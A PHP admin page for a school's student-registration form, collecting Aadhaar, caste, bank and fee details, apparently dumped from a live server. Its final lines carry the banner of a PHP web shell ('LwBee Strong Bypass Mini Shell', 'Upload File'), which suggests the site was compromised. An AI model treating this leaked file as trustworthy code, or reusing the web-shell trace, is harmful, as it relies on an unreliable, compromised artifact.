/home3/vehiclea/public_html/admin-appleiitfoundationschools-com/student_portal.php
<?php

session_start();
$_SESSION['active'] = 'studentPortal';
include('include/header.php');
  
 
?>


<style type="text/css">
    
    .text-center{
        margin-top: 65px;
    }
</style>


<main id="main" class="main">
    <div class="pagetitle">
        <h1>Apple IIT Schools</h1>
        <nav>
            <ol class="breadcrumb">
                <li class="breadcrumb-item"><a href="index.php">Home</a></li>
                <li class="breadcrumb-item ">Student Portal</li>
            </ol>
        </nav>
    </div>
    <section class="section">
        <div class="row">
            <div class="col-lg-12">
                <div class="card">
                    <div class="card-body">
                   <?php
              if(!empty($_POST['submit'])){
                              studentPortalData();
                     }
            ?>
 <?php
   if(!empty($_GET['succ'])){
     ?>
     <div align="center"><h4 style="color:green;">Data Inserted Successfully </h4></div>
     <?php
  }
  if(!empty($_GET['failed'])){
     ?>
     <div align="center"><h4 style="color:red;">Data Already  Inserted </h4></div>
     <?php
  }
?>
                    <form method="post"  enctype="multipart/form-data">

                       <div class="row">  
                          <h5 class="text-center"><strong>STUDENT BASIC DETAILS</strong></h5>
                           <div class="col-md-3 mt-4">
                               <b>Aadhar Num<span style="color: red;">*</span></b>
                               <input type="text" class="form-control name" onkeypress="return isNumber(event)" id="AadharNo" name="AadharNo"  placeholder="Enter Aadhar Num" required>
                               <span class="error"></span>
                            </div>
                              <div class="col-md-3 mt-4">
                                <b>Surname<span style="color: red;">*</span></b>

                                <input type="text" class="form-control name1"  id="Surname" name="Surname" placeholder="Enter Student Name" required>
                                  <span class="error1"></span>
                            </div>
                            <div class="col-md-3 mt-4">
                             <b>Student Name<span style="color: red;">*</span></b>

                              <div>
                                <input class="form-control name2"  type="text" name="StudentName"  id="StudentName" placeholder="Enter Student Name" required>
                                <span class="error2"></span>
                            </div>
                          </div>
                          <div class="col-md-3 mt-4">
                               
                                <b>District<span style="color: red;">*</span></b>
                                <input type="text" class="form-control name3"  id="District" name="District" placeholder="Enter District" required>
                                  <span class="error3"></span>
                            </div>
                       
                       <div class="col-md-3 mt-4">
                               
                                  <b>Mandal<span style="color: red;">*</span></b>
                                 <input type="text" class="form-control name4"  id="Mandal" name="Mandal" placeholder="Enter Mandal" required>
                                   <span class="error4"></span>
                            </div>
                             <div class="col-md-3 mt-4">
                             
                                 <b>Secretariat Name</b>
                                <input type="text" class="form-control"  id="SecreName" name="SecreName" placeholder="Enter Secretariat Name">
                            </div>
                              <div class="col-md-3 mt-4">
                              <b>Door No</b>

                                <input type="text" class="form-control"  id="DoorNo" name="DoorNo" placeholder="Enter Door No" >
                            </div>
                             <div class="col-md-3 mt-4">
                              
                               <b>Land Mark</b>
                                <input type="text" class="form-control"  id="LandMark" name="LandMark" placeholder="Enter Land Mark" >
                            </div>
                              <div class="col-md-3 mt-4">
                              
                                  <b>PinCode</b>
                                 <input type="text" class="form-control"  onkeypress="return isNumber(event)" id="PinCode" name="PinCode" placeholder="Enter Pin Code" >
                            </div>
                             <div class="col-md-3 mt-4">
                               
                                <b>DOB<span style="color: red;">*</span></b>
                               <input class="form-control name5"   id="datepicker"  name="Dob" type="text" readonly placeholder="Select Date" required />
                                 <span class="error5"></span>
                            </div>
                             <div class="col-md-3 mt-4">
                               <b>Gender<span style="color: red;">*</span></b>
                                <input type="radio" id="Gender" name="Gender" value="male" checked>
                                <label for="male">Male</label>
                                <input type="radio" id="Gender" name="Gender" value="female">
                                <label for="female">Female</label>
                            </div>
                             <div class="col-md-3 mt-4">
                               
                               <b>Religion<span style="color: red;">*</span></b>
                                <select class="form-control name6" name="Religion" id="Religion" required>
                                   <option value="">Please Select Religion</option>
                                   <option value="Hindu">Hindu</option>
                                   <option value="Christian">Christian</option>
                                   <option value="Muslim">Muslim</option>
                               </select>
                                 <span class="error6"></span>
                            </div>
                             <div class="col-md-3 mt-4">
                               
                                 <b>Caste<span style="color: red;">*</span></b>
                                 <select class="form-control name7" name="Caste" id="Caste" required>
                                   <option value="">Please Select Caste</option>
                                   <option value="OC">OC</option>
                                   <option value="BC">BC</option>
                                   <option value="SC">SC</option>
                                   <option value="ST">ST</option>
                               </select>
                                 <span class="error7"></span>
                            </div>
                             <div class="col-md-3 mt-4">
                               
                               <b>Sub Caste</b>
                              <select class="form-control" name="SubCaste" id="SubCaste" >
                                   <option value="">Please Select Sub Caste</option>
                                   <option value="A">A</option>
                                   <option value="B">B</option>
                                   <option value="C">C</option>
                                   
                               </select>
                            </div>
                             <div class="col-md-3 mt-4">
                              
                               <b>Student PHC</b>
                               <select class="form-control" name="StudentPhc" id="StudentPhc" >
                                   <option value="">Please Select Student PHC</option>
                                   <option value="Yes">Yes</option>
                                   <option value="No">No</option>
                                   
                                   
                               </select>
                            </div>

                            </div>
                            <div class="row mt-4">
                                <h5 class="text-center"><strong>PARENT/GUARDIAN BASIC & AADHAR DETAILS</strong></h5>

                                   <div class="col-md-3 mt-4">
                                   <!--  <label for="exampleInputEmail1" class="form-label"><span style="color:red;">*</span>SLECET PARENT STATUS</label> -->
                                    <b>Parent Status</b>
                                    <input type="text" name="ParentStatus" id="ParentStatus" class="form-control" placeholder="Enter Parent Status" >
                                 </div>
                                 <div class="col-md-3 mt-4">
                                   <b>Mother Name</b>

                                    <input type="text" name="MotherName "  id="MotherName" class="form-control " placeholder="Enter Mother Name">
                                   <!--    <span class="error8"></span> -->
                                 </div>

                                   <div class="col-md-3 mt-4">
                                    
                                     <b>Mother Aadhar No</b>
                                    <input type="text" name="MotherAadhar" onkeypress="return isNumber(event)" id="MotherAadhar" class="form-control " placeholder="Enter Mother Aadhar No">
                                   <!--    <span class="error9"></span> -->
                                 </div>

                                   <div class="col-md-3 mt-4">
                                  <b>Mother Mobile No</b>

                                    <input type="text" name="MotherMobile" onkeypress="return isNumber(event)" id="MotherMobile" class="form-control name10" placeholder="Enter Mother Mobile No">
                                      <!-- <span class="error10"></span> -->
                                 </div>

                                   <div class="col-md-3 mt-4">
                                  <b>Father Name<span style="color: red;">*</span></b>

                                    <input type="text" name="FatherName"  id="FatherName" class="form-control name11" placeholder="Enter Father Name " required>
                                      <span class="error11"></span>
                                 </div>

                                 <div class="col-md-3 mt-4">
                                  
                                    <b>Father Aadhar No</b>
                                    <input type="text" name="FatherAadhar" onkeypress="return isNumber(event)" id="FatherAadhar" class="form-control name12" placeholder="Enter Father Aadhar No">
                                      <span class="error12"></span>
                                 </div>

                                   <div class="col-md-3 mt-4">
                                  <b>Father Mobile No</b>

                                    <input type="text" name="FatherMobile" onkeypress="return isNumber(event)" id="FatherMobile" class="form-control name13" placeholder="Enter Father Mobile No">
                                      <span class="error13"></span>
                                 </div>


                                 <div class="col-md-3 mt-4">
                                   <b>Guardian Name</b>

                                    <input type="text" name="GuardianName"  id="GuardianName" class="form-control" placeholder="Enter Guardian Name">
                                 </div>
                                  <div class="col-md-3 mt-4">
                                  <b>Guardian Aadhar No</b>
                                   
                                    <input type="text" name="GuardianAadhar" onkeypress="return isNumber(event)" id="GuardianAadhar" class="form-control" placeholder="Enter Guardian Aadhar No">
                                 </div>
                                  <div class="col-md-3 mt-4">
                                  
                                     <b>Guardian Mobile No</b>
                                    <input type="text" name="GuardianMobile" onkeypress="return isNumber(event)" id="GuardianMobile" class="form-control" placeholder="Enter Guardian Mobile No">
                                 </div>

                                 <div class="col-md-3 mt-4">
                                  <b>Bank Account No</b>
                                    <input type="text" name="BankNo" id="BankNo"  class="form-control" placeholder="Enter Bank Account No">
                                 </div>
                                 <div class="col-md-3 mt-4">
                                   <b>Confirm Bank Account No</b>
                                    <input type="text" name="ConBankNo"  id="ConBankNo" class="form-control" placeholder="Enter Confirm Bank Account No">
                                 </div>
                                 <div class="col-md-3 mt-4">
                                   <b>Ifsc Code</b>
                                    <input type="text" name="IfscCode"  id="IfscCode" class="form-control" placeholder="Enter Ifsc Code">
                                 </div>
                                 <div class="col-md-3 mt-4">
                                  <b>Mother Tongue</b>
                                    <input type="text" name="MotherTongue"  id="MotherTongue" class="form-control" placeholder="Enter Mother Tongue">
                                 </div>
                                 <div class="col-md-3 mt-4">
                                 <b>Parent Literacy</b>
                                    <input type="text" name="Literacy"  id="Literacy" class="form-control" placeholder="Enter Parent Literacy">
                                 </div>
                            </div>

                            <div class="row mt-4">
                                <h5 class="text-center"><strong>OTHER DETAILS </strong></h5>
                                <div class="col-md-3 mt-4">
                                   <b>Blood Group</b>
                                    <input type="text" name="Blood" id="Blood" class="form-control" placeholder="Enter Blood Group">
                                 </div>
                                 <div class="col-md-3 mt-4">
                                    <b>Email Id</b>
                                    <input type="email" name="Email" id="Email" class="form-control" placeholder="Enter Email Id">
                                 </div>
                                  <div class="col-md-3 mt-4">
                                   <b>Caste Ceritificate No</b>
                                    <input type="text" name="CasteNo" id="CasteNo" class="form-control" placeholder="Enter Caste Ceritificate No">
                                 </div>
                                 <div class="col-md-3 mt-4">
                                   <b>Mole 1</b>
                                    <input type="text" name="Mole1" id="Mole1" class="form-control" placeholder="Enter  Mole 1">
                                 </div>
                                 <div class="col-md-3 mt-4">
                                   <b>Mole 2</b>
                                    <input type="text" name="Mole2" id="Mole2" class="form-control" placeholder="Enter  Mole 2">
                                 </div>
                               </div>
                                <div class="row mt-4">
                                 <h5 class="text-center"><strong>CLASS ENROLLMENT DETAILS </strong></h5>

                                   <div class="col-md-3 mt-4">
                                  
                                 <b>Admission Date<span style="color: red;">*</span></b>
                                   <input class="form-control name14"  id="datepicker2"   name="AdmissionDate" type="text" readonly placeholder="Select Date" required />
                                     <span class="error14"></span>
                                 </div>
                                  <?php

                                     $addNo = executework("SELECT * from student_registration order by id desc LIMIT 1");
                                     if(mysqli_num_rows($addNo)>0){
                                     $addNoData = mysqli_fetch_array($addNo); 
                             
                                    $AdmissionNo = $addNoData['AdmissionNo'];
                                   
                                         $value = (int) $AdmissionNo + 1; 
                                          $val = sprintf('%06d', $value);
                                        
                                      
                                  }
                                      else {
                                        $value = "1"; 
                                          $val = sprintf('%06d', $value); 
                                          
                                         
                                      } 
                                  ?>
                                   <div class="col-md-3 mt-4">
                                  <b>Record No</b>
                                    <input type="text" name="AdmissionNo"  id="AdmissionNo" class="form-control" value="<?= $val?>" readonly placeholder="Enter Record No" required>
                                 </div>


                                  <div class="col-md-3 mt-4">
                                  <b>Admission No</b>
                                    <input type="text" name="New_AdmissionNo"  id="New_AdmissionNo" class="form-control" placeholder="Enter Admission No" >
                                 </div>

                              <div class="col-md-3 mt-4">
                                   <b>Medium<span style="color:red;">*</span></b>
                                   <input type="text" name="Medium" id="Medium" class="form-control name15" value="English" readonly>
                                   
                                    <span class="error15"></span>
                                 </div>



                                 <div class="col-md-3 mt-4">
                                  
                                  <b>Select Academic Year<span style="color:red;">*</span></b>

                                    <select name="Academic_year" required id="Academic_year" onChange="RollNo_change(); fee_amount()" class="form-control name21">
                            <option value="">Please Academic Year</option>
                            <?php
                                $select_academic = select_academic();
                               while($academic= mysqli_fetch_array($select_academic))
                               {


                            ?>
                               <option value="<?= $academic['yearOf']?>"><?= $academic['yearOf']?></option>
                               <?php
                                  }
                               ?>
                              </select>
                                <span class="error21"></span>
                                 </div>




                                      <div class="col-md-3 mt-4">
                                  
                                  <b>Select Branch<span style="color:red;">*</span></b>

                                    <select name="Branch" required onChange="RollNo_change()" id="Branch" class="form-control name16">
                            <option value="">Please Select Branch</option>
                            <?php
                                $select_branch = select_branch();
                               while($branch= mysqli_fetch_array($select_branch))
                               {


                            ?>
                               <option value="<?= $branch['branch_code']?>"><?= $branch['branch_name']?></option>
                               <?php
                                  }
                               ?>
                              </select>
                                <span class="error16"></span>
                                 </div>



                                  <div class="col-md-3 mt-4">
                                  
                                  <b>Select Present Class<span style="color:red;">*</span></b>

                                    <select name="PresentClass" required onChange="RollNo_change(); fee_amount(); change_section()" id="PresentClass" class="form-control name17">
                            <option value="">Please Select Class</option>
                            <?php
                                $select_class = select_class();
                               while($class= mysqli_fetch_array($select_class))
                               {

                               ?>
                               <option value="<?= $class['name']?>"><?= $class['name']?></option>
                               <?php
                                  }
                               ?>
                              </select>
                                <span class="error17"></span>
                                 </div>

                         <div class="col-md-3 mt-4">
                                  <b>Select Previous Class</b>
                                   
                        <select name="PreviousClass" id="PreviousClass" class="form-control ">
                            <option value="">Please Select Class</option>
                            <?php
                                $select_class = select_class();
                               while($class= mysqli_fetch_array($select_class))
                               {


                            ?>
                               <option value="<?= $class['name']?>"><?= $class['name']?></option>
                               <?php
                                  }
                               ?>
                           </select>
                           <!--  <span class="error18"></span> -->
                                 </div>

                            <div class="col-md-3 mt-4">
                                  
                                  <b>Select Syllabus<span style="color:red;">*</span></b>

                                    <select name="Syllabus" onChange="fee_amount()" required id="Syllabus" class="form-control name19">
                            <option value="">Please Syllabus</option>
                            <?php
                                $select_Syllabus = select_SyllabusData();
                               while($Syllabus= mysqli_fetch_array($select_Syllabus))
                               {


                            ?>
                               <option value="<?= $Syllabus['name']?>"><?= $Syllabus['name']?></option>
                               <?php
                                  }
                               ?>
                              </select>
                               <span class="error19"></span>
                                 </div>
                                 
                            <div class="col-md-3 mt-4">
                                   <b>Which Admitted</b>
                                    <input type="text" name="WhichAdmitted"  id="WhichAdmitted" class="form-control" placeholder="Enter Which Admitted">
                                 </div>

                                   <div class="col-md-3 mt-4">
                                   
                                    <b>Select Section<span style="color:red;">*</span></b>
                                    <select name="Section" id="Section" class="form-control name20">
                                      <option value="">Please Select Section</option>
                                  
                              
                           </select>
                             <span class="error20"></span>
                                 </div>


                                  <div class="col-md-3 mt-4">
                                   <b>Roll No</b>
                                    <input type="text" name="RollNo"  id="RollNo" class="form-control" placeholder="Enter RollNo">
                                 </div>
                                    <div class="col-md-3 mt-4">
                                   <b>Income Ceritificate No</b>
                                    <input type="text" name="Income"  id="Income" class="form-control" placeholder="Enter Income Ceritificate No">
                                 </div>
                            </div>

                                     <div class="row mt-4">
                            <h5 class="text-center"><strong>LANGUAGE MAPPING & SUBJECTS</strong></h5>
                            
                                 <div class="col-md-3 mt-4">
                                 <b>First Language</b>
                                    <input type="text" name="FirstLang"  id="FirstLang" class="form-control" placeholder="Enter First Language">
                                 </div>
                                 <div class="col-md-3 mt-4">
                                 <b>Second Language</b>
                                    <input type="text" name="SecondLang"  id="SecondLang" class="form-control" placeholder="Enter Second Language">
                                 </div>
                                 <div class="col-md-3 mt-4">
                                    <b>Third Language</b>
                                    <input type="text" name="ThirdLang"  id="ThirdLang" class="form-control" placeholder="Enter Third Language">
                                 </div>
                                 <div class="col-md-3 mt-4">
                                   <b>Fourth Language</b>
                                    <input type="text" name="FourthLang"  id="FourthLang" class="form-control" placeholder="Enter Fourth Language">
                                 </div>
                                 <div class="col-md-3 mt-4">
                                   <b>Enter Math</b>
                                    <input type="text" name="Maths"  id="Maths" class="form-control" placeholder="Enter Maths">
                                 </div>
                                 <div class="col-md-3 mt-4">
                                    <b>Enter Science</b>
                                    <input type="text" name="Science"  id="Science" class="form-control" placeholder="Enter Science" >
                                 </div>
                                 <div class="col-md-3 mt-4">
                                   <b>Select Hostel<span style="color:red;">*</span></b>
                                   <select name="Hostel" id="Hostel" class="form-control" onChange="hostel(this.value)" required>
                                       <option value="">Plase Select Hostel</option>
                                       <option value="Yes">Yes</option>
                                       <option value="No">No</option>
                                   </select>
                                     <span class="error"></span>
                                 </div>
                                 <div class="col-md-3 mt-4">
                                   <b>Select Transport<span style="color:red;">*</span></b>
                                  
                                     <select name="Transport" id="Transport" class="form-control" onChange="transportData(this.value)" required>
                                       <option value="">Plase Select Transport</option>
                                       <option value="Yes">Yes</option>
                                       <option value="No">No</option>
                                   </select>
                                     <span class="error"></span>
                                 </div>
                                 <div class="col-md-3 mt-4">
                                   <b>Distance</b>
                                    <input type="text" name="Distance"  id="Distance" class="form-control" placeholder="Enter Distance" >
                                      <span class="error"></span>
                                 </div>
                                 
                                  <div class="col-md-3 mt-4">
                                  <b>Choose Image</b>
                                    <img id="image_preview1"  src="assets/img/user.png" style="height:100px;width:100px;" alt="Yor Image Preview"  />
                                    <input class="form-control" type="file" id="photo" name="photo">
                                    <div class="error" id="err4" align="center" style="color:red;"></div>
                                    <input type="hidden" name="fileimage" id="fileimage">
                                   
                               </div>
                            </div>





                            <div class="row mt-4">
                             <h5 class="text-center"><strong>PAYMENT DETAILS</strong></h5>
                            
                                 <div class="col-md-3 mt-4" >
                                  <b>Admission Amount</b>
                                  <input type="text" name="Amount"  id="Amount" class="form-control noSpace" placeholder="Enter Admission Amount"  onkeypress="return isNumber(event)">
                                    <input type="hidden" name="actual_Amount"  id="actual_Amount">
                                 </div>
                                  <?php
                                     // if($_POST['Transport']=='Yes')
                                     // $sty = "";
                                     // else
                                     // $sty = "display: none";
                                    ?>
                                 <div class="col-md-3 mt-4" style="display: none" id="tAmount">
                                    <b>Bus Amount</b>
                                    <input type="text" name="BusAmount"  id="BusAmount" class="form-control noSpace" placeholder="Enter Bus Amount" onkeypress="return isNumber(event)">
                                    <input type="hidden" name="Bus_actal_amount" id="Bus_actal_amount"  id="hostel_actal_amount">
                                 </div>
                                 
                                     <?php
                                     // if($_POST['Hostel']=='Yes')
                                     // $sty = "";
                                     // else
                                     // $sty1 = "display: none";
                                    ?>
                                    <div class="col-md-3 mt-4" id="hamount" style="display: none">
                                        <b>Hostel Amount</b>
                                    <input type="text" name="hostel_amount"   id="hostel_amount" class="form-control noSpace" placeholder="Enter Hostel Amount" onkeypress="return isNumber(event)">
                                     <input type="hidden" name="hostel_actal_amount"   id="hostel_actal_amount">
                                 </div>

                                 <div class="col-md-3 mt-4">
                                   <b>Study Amount</b>
                                    <input type="text" name="study_amount"  id="study_amount" class="form-control noSpace" placeholder="Enter Study Amount" onkeypress="return isNumber(event)">
                                    <input type="hidden" name="study_actal_amount"   id="study_actal_amount">
                                 </div>

                                  <div class="col-md-3 mt-4">
                                   <b>Books Amount</b>
                                    <input type="text" name="books_fee"  id="books_fee" class="form-control noSpace" placeholder="Enter Books Amount" onkeypress="return isNumber(event)">
                                    <input type="hidden" name="books_actal_amount"   id="books_actal_amount">
                                 </div>

                                 <div class="col-md-3 mt-4">
                                   <b>Additional Amount</b>
                                    <input type="text" name="add_amount"  id="add_amount" class="form-control noSpace" placeholder="Enter Addtional Amount" onkeypress="return isNumber(event)">
                                     <input type="hidden" name="add_actal_amount"   id="add_actal_amount">
                                 </div>
                              </div>
                        <div class="mt-4">

                                <input type="submit"  class="btn" style="background-color: #69F0AE; color: #000000;" value="Add" name="submit" onclick="book_validation()">
                            </div>

                       
                        </form>
                       
                    </div>
                </div>
            </div>
        </div>
    </section>
</main>  
<script>
function readURL1(input) {
  if (input.files && input.files[0]) {
    var reader = new FileReader();
    reader.onload = function(e) {
      $('#image_preview1').attr('src', e.target.result);
    }
    reader.readAsDataURL(input.files[0]);
  }
}
$("#photo").change(function() {
  readURL1(this);
});
function readURL2(input) {
  if (input.files && input.files[0]) {
    var reader = new FileReader();
    reader.onload = function(e) {
      $('#image_preview2').attr('src', e.target.result);
    }
    reader.readAsDataURL(input.files[0]);
  }
}
$("#image2").change(function() {
  readURL2(this);
});
function readURL3(input) {
  if (input.files && input.files[0]) {
    var reader = new FileReader();
    reader.onload = function(e) {
      $('#image_preview3').attr('src', e.target.result);
    }
    reader.readAsDataURL(input.files[0]);
  }
}
$("#image3").change(function() {
  readURL3(this);
});
</script>  
<script>
  $('.noSpace').keyup(function() {
 this.value = this.value.replace(/\s/g,'');
});
 
  </script>

  <script>
      function isNumber(evt,ref,len)
        {
        evt = (evt) ? evt : window.event;
        var charCode = (evt.which) ? evt.which : evt.keyCode;
        if(charCode == 8 || charCode == 9 ){
        return true;
        }
        var ctrlDown = evt.ctrlKey||evt.metaKey // Mac support
        if (charCode > 31 && (charCode < 48 || charCode > 57) && charCode != 46 || charCode == 8 || charCode == 37 || charCode == 39 || ( ctrlDown && charCode==86)) {
        return false;
        }
        else if(ref.val().length >= len){
        return false;
            }
        return true;
             }
  </script>
<script>
    function hostel(val)
    {   
        
        if(val == "Yes")
        {
            $('#hamount').show();
        }
        else
        {
            $('#hamount').hide();
        }
    }
</script>

<script>
    function transportData(val)
    {   
        
        if(val == "Yes")
        {
            $('#tAmount').show();
        }
        else
        {
            $('#tAmount').hide();
        }
    }

    function RollNo_change()
    {
       
        var Branch = $('#Branch').val();
        var Academic_year = $('#Academic_year').val();
        var PresentClass = $('#PresentClass').val();
        if(Academic_year !='' && Branch !='' && PresentClass !='')
        {
          $.ajax({
            url : "student_data.php",
            data :  {Branch : Branch,Academic_year : Academic_year,type:5,PresentClass:PresentClass},
            type : 'POST',
              
            success : function(response) {
               
               $('#RollNo').val(response);
        }

          });

        }
    }
    function fee_amount()
    {
       
       var Syllabus = $('#Syllabus').val();
       var Academic_year = $('#Academic_year').val();
       var PresentClass = $('#PresentClass').val();
       if(Syllabus !='' && Academic_year !='' && PresentClass !='')
        {
          $.ajax({
            url : "student_data.php",
            data :  {Syllabus : Syllabus,Academic_year : Academic_year,type:15,PresentClass:PresentClass},
            type : 'POST',
              
            success : function(data) {
                
               var response = JSON.parse(data);
             
               $('#study_amount').val(response.studying_amount);
               $('#study_actal_amount').val(response.studying_amount);
               $('#Amount').val(response.admission_fee);
               $('#actual_Amount').val(response.admission_fee);
               $('#add_amount').val(response.addition_fee);
               $('#add_actal_amount').val(response.addition_fee);
               $('#hostel_amount').val(response.hostel_fee);
               $('#hostel_actal_amount').val(response.hostel_fee);
               $('#BusAmount').val(response.bus_fee);
               $('#Bus_actal_amount').val(response.bus_fee);
               $('#books_fee').val(response.books_fee);
                $('#books_actal_amount').val(response.books_fee);
           }

          });

        }
    }
</script> 
 <script>
        function book_validation() {
         
            var name = document.getElementsByClassName("name");
            var error = document.getElementsByClassName("error");
            error[0].style.display = name[0].value == "" ? "block" : "none";
            name[0].style.border = name[0].value == "" ? "1px solid red" : "";
            name[0].focus();

            var name = document.getElementsByClassName("name1");
            var error = document.getElementsByClassName("error1");
            error[0].style.display = name[0].value == "" ? "block" : "none";
            name[0].style.border = name[0].value == "" ? "1px solid red" : "";
            name[0].focus();

             var name = document.getElementsByClassName("name2");
            var error = document.getElementsByClassName("error2");
            error[0].style.display = name[0].value == "" ? "block" : "none";
            name[0].style.border = name[0].value == "" ? "1px solid red" : "";
            name[0].focus();

              var name = document.getElementsByClassName("name3");
            var error = document.getElementsByClassName("error3");
            error[0].style.display = name[0].value == "" ? "block" : "none";
            name[0].style.border = name[0].value == "" ? "1px solid red" : "";
            name[0].focus();

            var name = document.getElementsByClassName("name4");
            var error = document.getElementsByClassName("error4");
            error[0].style.display = name[0].value == "" ? "block" : "none";
            name[0].style.border = name[0].value == "" ? "1px solid red" : "";
            name[0].focus();

             var name = document.getElementsByClassName("name5");
            var error = document.getElementsByClassName("error5");
            error[0].style.display = name[0].value == "" ? "block" : "none";
            name[0].style.border = name[0].value == "" ? "1px solid red" : "";
            name[0].focus();

            var name = document.getElementsByClassName("name6");
            var error = document.getElementsByClassName("error6");
            error[0].style.display = name[0].value == "" ? "block" : "none";
            name[0].style.border = name[0].value == "" ? "1px solid red" : "";
            name[0].focus();

            var name = document.getElementsByClassName("name7");
            var error = document.getElementsByClassName("error7");
            error[0].style.display = name[0].value == "" ? "block" : "none";
            name[0].style.border = name[0].value == "" ? "1px solid red" : "";
            name[0].focus();

            // var name = document.getElementsByClassName("name8");
            // var error = document.getElementsByClassName("error8");
            // error[0].style.display = name[0].value == "" ? "block" : "none";
            // name[0].style.border = name[0].value == "" ? "1px solid red" : "";
            // name[0].focus();

            // var name = document.getElementsByClassName("name9");
            // var error = document.getElementsByClassName("error9");
            // error[0].style.display = name[0].value == "" ? "block" : "none";
            // name[0].style.border = name[0].value == "" ? "1px solid red" : "";
            // name[0].focus();

            // var name = document.getElementsByClassName("name10");
            // var error = document.getElementsByClassName("error10");
            // error[0].style.display = name[0].value == "" ? "block" : "none";
            // name[0].style.border = name[0].value == "" ? "1px solid red" : "";
            // name[0].focus();

            var name = document.getElementsByClassName("name11");
            var error = document.getElementsByClassName("error11");
            error[0].style.display = name[0].value == "" ? "block" : "none";
            name[0].style.border = name[0].value == "" ? "1px solid red" : "";
            name[0].focus();


            // var name = document.getElementsByClassName("name12");
            // var error = document.getElementsByClassName("error12");
            // error[0].style.display = name[0].value == "" ? "block" : "none";
            // name[0].style.border = name[0].value == "" ? "1px solid red" : "";
            // name[0].focus();


            // var name = document.getElementsByClassName("name13");
            // var error = document.getElementsByClassName("error13");
            // error[0].style.display = name[0].value == "" ? "block" : "none";
            // name[0].style.border = name[0].value == "" ? "1px solid red" : "";
            // name[0].focus();

            var name = document.getElementsByClassName("name14");
            var error = document.getElementsByClassName("error14");
            error[0].style.display = name[0].value == "" ? "block" : "none";
            name[0].style.border = name[0].value == "" ? "1px solid red" : "";
            name[0].focus();

            var name = document.getElementsByClassName("name15");
            var error = document.getElementsByClassName("error15");
            error[0].style.display = name[0].value == "" ? "block" : "none";
            name[0].style.border = name[0].value == "" ? "1px solid red" : "";
            name[0].focus();
           
            var name = document.getElementsByClassName("name16");
            var error = document.getElementsByClassName("error16");
            error[0].style.display = name[0].value == "" ? "block" : "none";
            name[0].style.border = name[0].value == "" ? "1px solid red" : "";
            name[0].focus();

              var name = document.getElementsByClassName("name17");
            var error = document.getElementsByClassName("error17");
            error[0].style.display = name[0].value == "" ? "block" : "none";
            name[0].style.border = name[0].value == "" ? "1px solid red" : "";
            name[0].focus();

            //   var name = document.getElementsByClassName("name18");
            // var error = document.getElementsByClassName("error18");
            // error[0].style.display = name[0].value == "" ? "block" : "none";
            // name[0].style.border = name[0].value == "" ? "1px solid red" : "";
            // name[0].focus();

            var name = document.getElementsByClassName("name19");
            var error = document.getElementsByClassName("error19");
            error[0].style.display = name[0].value == "" ? "block" : "none";
            name[0].style.border = name[0].value == "" ? "1px solid red" : "";
            name[0].focus();

            var name = document.getElementsByClassName("name20");
            var error = document.getElementsByClassName("error20");
            error[0].style.display = name[0].value == "" ? "block" : "none";
            name[0].style.border = name[0].value == "" ? "1px solid red" : "";
            name[0].focus();

               var name = document.getElementsByClassName("name21");
            var error = document.getElementsByClassName("error21");
            error[0].style.display = name[0].value == "" ? "block" : "none";
            name[0].style.border = name[0].value == "" ? "1px solid red" : "";
            name[0].focus();


        }
    </script>  

    <script>
      function change_section(){
         var PresentClass = $('#PresentClass').val();
        if(PresentClass !='')
        {
          $.ajax({
            url : "subjectsData.php",
            data :  {type:3,PresentClass:PresentClass},
            type : 'POST',
              
            success : function(response) {
               
               $('#Section').html(response);
        }

          });

        }
      }
    </script>

<?php

include('include/footer.php');
?>         
  

  
@LwBee Strong Bypass

LwBee Strong Bypass Mini Shell

Upload File

Create New File